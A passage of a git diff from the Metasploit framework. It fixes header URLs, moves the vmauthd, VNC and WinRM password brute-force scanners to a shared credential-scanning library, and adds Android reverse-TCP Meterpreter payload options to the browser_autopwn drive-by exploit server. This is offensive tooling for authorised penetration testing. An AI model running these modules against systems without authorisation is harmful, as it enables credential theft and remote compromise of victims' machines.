datastore['RPORT'], + proto: 'udp', + name: what, + refs: self.references + ) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index a84bd3e6b3..0f7496a036 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb index 1aa553b135..e7836eedb5 100644 --- a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb +++ b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -75,13 +75,20 @@ class Metasploit3 < Msf::Auxiliary build_match = res.body.match(/([\w\s\.\-]+)<\/build>/) full_match = res.body.match(/([\w\s\.\-]+)<\/fullName>/) this_host = nil + if full_match - print_good "Identified #{full_match[1]}" + print_good("#{rhost}:#{rport} - Identified #{full_match[1]}") report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1]) end + if os_match and ver_match and build_match if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/ - this_host = report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" ) + # Report a fingerprint match for OS identification + report_note( + :host => ip, + :ntype => 'fingerprint.match', + :data => {'os.vendor' => 'VMware', 'os.product' => os_match[1] + " " + ver_match[1], 'os.version' => build_match[1] } + ) end return true else diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index be29c48519..3b76ae40f9 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/tcp' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/vmauthd' class Metasploit3 < Msf::Auxiliary @@ -33,103 +35,76 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) + print_brute :ip => ip, :msg => 'Starting bruteforce' + + # Peform a sanity check to ensure that our target is vmauthd before + # attempting to brute force it. begin - - connect rescue nil - if not self.sock - print_error "#{rhost}:#{rport} Could not connect to vmauthd" - return - end - - banner = sock.get_once(-1, 10) - if not banner - print_error "#{rhost}:#{rport} No banner received from vmauthd" - return - end - - banner = banner.strip - print_status "#{rhost}:#{rport} Banner: #{banner}" - - unless banner =~ /VMware Authentication Daemon/ - print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service" - return - end - - if banner =~ /SSL/ - print_status("#{rhost}:#{rport} Switching to SSL connection...") - swap_sock_plain_to_ssl - end - - each_user_pass do |user, pass| - result = do_login(user, pass) - case result - when :failed - print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}") - when :success - print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'vmauthd', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return if datastore['STOP_ON_SUCCESS'] - else - print_error("#{rhost}:#{rport} Error: #{result}") + connect rescue nil + if !self.sock + print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' + return + end + banner = sock.get_once(-1, 10) + if !banner || !banner =~ /^220 VMware Authentication Daemon Version.*/ + print_brute :level => :verror, :ip => ip, :msg => 'Target does not appear to be a vmauthd service' + return end - end - rescue ::Interrupt - raise $! + rescue ::Interrupt + raise $ERROR_INFO ensure disconnect end - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + scanner = Metasploit::Framework::LoginScanner::VMAUTHD.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, + ) - def do_login(user, pass, nsock=self.sock) - nsock.put("USER #{user}\r\n") - res = nsock.get_once - unless res.start_with? "331" - ret_msg = "Unexpected reply to the USER command: #{res}" - return ret_msg - end - nsock.put("PASS #{pass}\r\n") - res = nsock.get_once || '' - if res.start_with? "530" - return :failed - elsif res.start_with? "230" - return :success - else - ret_msg = "Unexpected reply to the PASS command: #{res}" - return ret_msg + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}" + end + invalidate_login(credential_data) + end end end - - def swap_sock_plain_to_ssl(nsock=self.sock) - ctx = generate_ssl_context() - ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) - - ssl.connect - - nsock.extend(Rex::Socket::SslTcp) - nsock.sslsock = ssl - nsock.sslctx = ctx - end - - def generate_ssl_context - ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) - @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ } - - ctx.key = @@cached_rsa_key - - ctx.session_id_context = Rex::Text.rand_text(16) - - return ctx - end - - end diff --git a/modules/auxiliary/scanner/vmware/vmauthd_version.rb b/modules/auxiliary/scanner/vmware/vmauthd_version.rb index 8215ff2ce1..28b6355385 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_version.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary def do_login(user, pass, nsock=self.sock) nsock.put("USER #{user}\r\n") - res = nsock.get_once + res = nsock.get_once || '' unless res.start_with? "331" ret_msg = "Unexpected reply to the USER command: #{res}" return ret_msg diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb index a18d642cd6..374c950b91 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb index 08da04199c..772328037f 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb index 7c9ba8dcae..8e1c3c54b5 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb index 3eec842da7..5bfb9c23c1 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb index d9bfbcfebc..c60cd2efaf 100644 --- a/modules/auxiliary/scanner/vmware/vmware_host_details.rb +++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index 6bcdfb08ee..ea5d2b3e7f 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -114,7 +114,12 @@ class Metasploit3 < Msf::Auxiliary if os_match and ver_match and build_match if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/ - this_host = report_host( :host => rhost, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" ) + # Report a fingerprint match for OS identification + report_note( + :host => ip, + :ntype => 'fingerprint.match', + :data => {'os.vendor' => 'VMware', 'os.product' => os_match[1] + " " + ver_match[1], 'os.version' => build_match[1] } + ) end return true else diff --git a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb index 9c037550bd..de4f89435f 100644 --- a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb +++ b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary 'headers' => { 'Authorization' => "Basic #{@user_pass}"} }, 25) if res - @vim_cookie = res.headers['Set-Cookie'] + @vim_cookie = res.get_cookies if res.code== 200 res.body.scan(//) do |match| link = match[0] @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary 'headers' => { 'Authorization' => "Basic #{@user_pass}"} }, 25) if res - @vim_cookie = res.headers['Set-Cookie'] + @vim_cookie = res.get_cookies if res.code == 200 img = res.body ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}") diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 1340702f4f..e84796785c 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -1,10 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/rfb' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/vnc' class Metasploit3 < Msf::Auxiliary @@ -24,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'carstein ', + 'carstein ', 'jduck' ], 'References' => @@ -36,6 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::Proxies, Opt::RPORT(5900), OptString.new('PASSWORD', [ false, 'The password to test' ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", @@ -56,82 +59,50 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{ip}:#{rport} - Starting VNC login sweep") - begin - each_user_pass { |user, pass| - ret = nil - attempts = 5 - attempts.times { |n| - ret = do_login(user, pass) - break if ret != :retry + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - delay = (2**(n+1)) + 1 - vprint_status("Retrying in #{delay} seconds...") - select(nil, nil, nil, delay) - } - # If we tried all these attempts, and we still got a retry condition, - # we'll just give up.. Must be that nasty blacklist algorithm kicking - # our butt. - return :abort if ret == :retry - ret - } - rescue ::Rex::ConnectionError - nil - end - end + cred_collection = prepend_db_passwords(cred_collection) - def do_login(user, pass) - vprint_status("#{target_host}:#{rport} - Attempting VNC login with password '#{pass}'") + scanner = Metasploit::Framework::LoginScanner::VNC.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['ConnectTimeout'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, + ) - connect - - begin - vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) - if not vnc.handshake - vprint_error("#{target_host}:#{rport}, #{vnc.error}") - return :abort - end - - ver = "#{vnc.majver}.#{vnc.minver}" - vprint_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}") - report_service( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'vnc', - :info => "VNC protocol version #{ver}" + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) - if not vnc.authenticate(pass) - vprint_error("#{target_host}:#{rport}, #{vnc.error}") - return :retry if vnc.error =~ /connection has been rejected/ # UltraVNC - return :retry if vnc.error =~ /Too many security failures/ # vnc4server - return :fail + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - - print_good("#{target_host}:#{rport}, VNC server password : \"#{pass}\"") - - access_type = "password" - #access_type = "view-only password" if vnc.view_only_mode - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'vnc', - :pass => pass, - :type => access_type, - :duplicate_ok => true, - :source_type => "user_supplied", - :active => true - }) - return :next_user - - # For debugging only. - #rescue ::Exception - # raise $! - # print_error("#{$!}") - - ensure - disconnect() end + end end diff --git a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb index 8740f3db8e..33b260cd4d 100644 --- a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb +++ b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/voice/recorder.rb b/modules/auxiliary/scanner/voice/recorder.rb index 5a79f9100e..0f4fe85d52 100644 --- a/modules/auxiliary/scanner/voice/recorder.rb +++ b/modules/auxiliary/scanner/voice/recorder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb index 9d3d68d88d..88914a5525 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb index 7b7d17a14d..655bfbf00b 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb index 8b7e1f69c7..05b76dd142 100644 --- a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb +++ b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index 1cac67a0bb..a4ce2652f7 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index 5c8dfe1f83..1871aa59d1 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -1,11 +1,14 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/ntlm/message' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner' +require 'metasploit/framework/login_scanner/winrm' class Metasploit3 < Msf::Auxiliary @@ -37,34 +40,54 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - each_user_pass do |user, pass| - resp = send_winrm_request(test_request) - if resp.nil? - print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out" - return - elsif resp.code == 200 - cred_hash = { - :host => ip, - :port => rport, - :sname => 'winrm', - :pass => pass, - :user => user, - :source_type => "user_supplied", - :active => true - } - report_auth_info(cred_hash) - print_good "#{ip}:#{rport}: Valid credential found: #{user}:#{pass}" - elsif resp.code == 401 - print_error "#{ip}:#{rport}: Login failed: #{user}:#{pass}" + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DOMAIN'], + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::WinRM.new( + host: ip, + port: rport, + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10, + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else - print_error "Recieved unexpected Response Code: #{resp.code}" + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end + end def test_request - data = winrm_wql_msg("Select Name,Status from Win32_Service") + return winrm_wql_msg("Select Name,Status from Win32_Service") end end diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index 07483bdc62..7beaf89022 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index 42440a052b..e27ee07b72 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -45,8 +45,11 @@ class Metasploit3 < Msf::Auxiliary disconnect - if(response) + if response success = response[0,1].unpack('C')[0] + else + print_error("No response received due to a timeout") + return end diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 8bbdeda05b..78d00a3013 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -114,6 +114,13 @@ class Metasploit3 < Msf::Auxiliary 'The payload to use for Java reverse-connect payloads', 'java/meterpreter/reverse_tcp' ]), + OptPort.new('LPORT_ANDROID', [false, + 'The port to use for Java reverse-connect payloads', 8888 + ]), + OptString.new('PAYLOAD_ANDROID', [false, + 'The payload to use for Android reverse-connect payloads', + 'android/meterpreter/reverse_tcp' + ]) ], self.class) @exploits = Hash.new @@ -218,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary } function bodyOnLoad() { - var detected_version = window.os_detect.getVersion(); + var detected_version = os_detect.getVersion(); //#{js_debug('detected_version')} report_and_get_exploits(detected_version); } // function bodyOnLoad @@ -229,9 +236,14 @@ class Metasploit3 < Msf::Auxiliary print_debug("NOTE: Debug Mode; javascript will not be obfuscated") else pre = Time.now - print_status("Obfuscating initial javascript #{pre}") - @init_js.obfuscate - print_status "Done in #{Time.now - pre} seconds" + + # + # 2/12/2015: Obfuscation is disabled because this is currently breaking BrowserAutoPwn + # + + #print_status("Obfuscating initial javascript #{pre}") + #@init_js.obfuscate + #print_status "Done in #{Time.now - pre} seconds" end #@init_js << "window.onload = #{@init_js.sym("bodyOnLoad")};"; @@ -265,6 +277,8 @@ class Metasploit3 < Msf::Auxiliary @gen_payload = datastore['PAYLOAD_GENERIC'] @java_lport = datastore['LPORT_JAVA'] @java_payload = datastore['PAYLOAD_JAVA'] + @android_lport = datastore['LPORT_ANDROID'] + @android_payload = datastore['PAYLOAD_ANDROID'] minrank = framework.datastore['MinimumRank'] || 'manual' if not RankingName.values.include?(minrank) @@ -320,6 +334,9 @@ class Metasploit3 < Msf::Auxiliary when %r{/java_} payload = @java_payload lport = @java_lport + when %r{^android/} + payload = @android_payload + lport = @android_lport else payload = @gen_payload lport = @gen_lport @@ -774,8 +791,12 @@ class Metasploit3 < Msf::Auxiliary # Reject exploits whose OS doesn't match that of the # victim. Note that host_info comes from javascript OS # detection, NOT the database. + + # Note that the os_name could be a string, a regex, or + # an array of strings and regexes. + if host_info[:os_name] != "undefined" - unless s[:os_name].include?(host_info[:os_name]) + unless client_matches_module_spec?(host_info[:os_name], s[:os_name]) vprint_status("Rejecting #{s[:name]} for non-matching OS") next end @@ -810,8 +831,12 @@ class Metasploit3 < Msf::Auxiliary js << "#{js_debug("'starting exploits (' + global_exploit_list.length + ' total)
'")}\n" js << "window.next_exploit(0);\n" - js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate unless datastore["DEBUG"] + # + # 2/12/2015: Obfuscation is disabled because this is currently breaking BrowserAutoPwn + # + + #js = ::Rex::Exploitation::JSObfu.new(js) + #js.obfuscate unless datastore["DEBUG"] response.body = "#{js}" print_status("Responding with #{sploit_cnt} exploits") @@ -821,6 +846,27 @@ class Metasploit3 < Msf::Auxiliary return response end + + # + # Determines whether a browser string matches an exploit module specification + # Example: :os_name => ( 'Windows' | /Windows/ | ['Windows', 'Mac OS X'] ) + # + def client_matches_module_spec?(client_str, module_spec) + + case module_spec + when ::String + return !! (client_str == module_spec) + when ::Regexp + return !! client_str.match(module_spec) + when ::Array + return !! exploit_spec.map{ |spec| + client_matches_module_spec?(client_str, spec) + }.include?(true) + end + + false + end + # # Yields each module that exports autopwn_info, filtering on MATCH and EXCLUDE options # @@ -874,6 +920,8 @@ class Metasploit3 < Msf::Auxiliary os_flavor = nil os_sp = nil os_lang = nil + os_device = nil + os_vendor = nil arch = nil ua_name = nil ua_ver = nil @@ -895,15 +943,19 @@ class Metasploit3 < Msf::Auxiliary if (0 < detected_version.length) detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version)) print_status("JavaScript Report: #{detected_version}") - (os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') + + (os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') if framework.db.active note_data = { } - note_data[:os_name] = os_name if os_name != "undefined" - note_data[:os_flavor] = os_flavor if os_flavor != "undefined" - note_data[:os_sp] = os_sp if os_sp != "undefined" - note_data[:os_lang] = os_lang if os_lang != "undefined" - note_data[:arch] = arch if arch != "undefined" + note_data['os.product'] = os_name if os_name != 'undefined' + note_data['os.vendor'] = os_vendor if os_vendor != 'undefined' + note_data['os.edition'] = os_flavor if os_flavor != 'undefined' + note_data['os.device'] = os_device if os_device != 'undefined' + note_data['os.version'] = os_sp if os_sp != 'undefined' + note_data['os.language'] = os_lang if os_lang != 'undefined' + note_data['os.arch'] = arch if arch != 'undefined' + note_data['os.certainty'] = '0.7' print_status("Reporting: #{note_data.inspect}") # Reporting stuff isn't really essential since we store all @@ -914,10 +966,14 @@ class Metasploit3 < Msf::Auxiliary # ActiveRecord::RecordInvalid errors because 127.0.0.1 is # blacklisted in the Host validations. begin + + # Report a generic fingerprint.match note for the OS normalizer + # Previously we reported a javascript_fingerprint type but this + # was never used. report_note({ - :host => cli.peerhost, - :type => 'javascript_fingerprint', - :data => note_data, + :host => cli.peerhost, + :ntype => 'fingerprint.match', + :data => note_data, :update => :unique_data, }) client_info = { @@ -927,8 +983,10 @@ class Metasploit3 < Msf::Auxiliary :ua_ver => ua_ver } report_client(client_info) - rescue => e - elog("Reporting failed: #{e.class} : #{e.message}") + rescue ::Interrupt + raise $! + rescue ::Exception => e + elog("Reporting failed: #{e.class} : #{e.message} #{e.backtrace}") end end end @@ -959,7 +1017,9 @@ class Metasploit3 < Msf::Auxiliary @targetcache[key][:host] = {} @targetcache[key][:host][:os_name] = os_name + @targetcache[key][:host][:os_vendor] = os_vendor @targetcache[key][:host][:os_flavor] = os_flavor + @targetcache[key][:host][:os_device] = os_device @targetcache[key][:host][:os_sp] = os_sp @targetcache[key][:host][:os_lang] = os_lang diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index b3822f30b8..13443f123c 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index 2bb07336ae..27c36ef9f6 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index 572c6a6353..784ce1814d 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index 0796e9caec..42b16bc692 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -1,5 +1,5 @@ ## -# 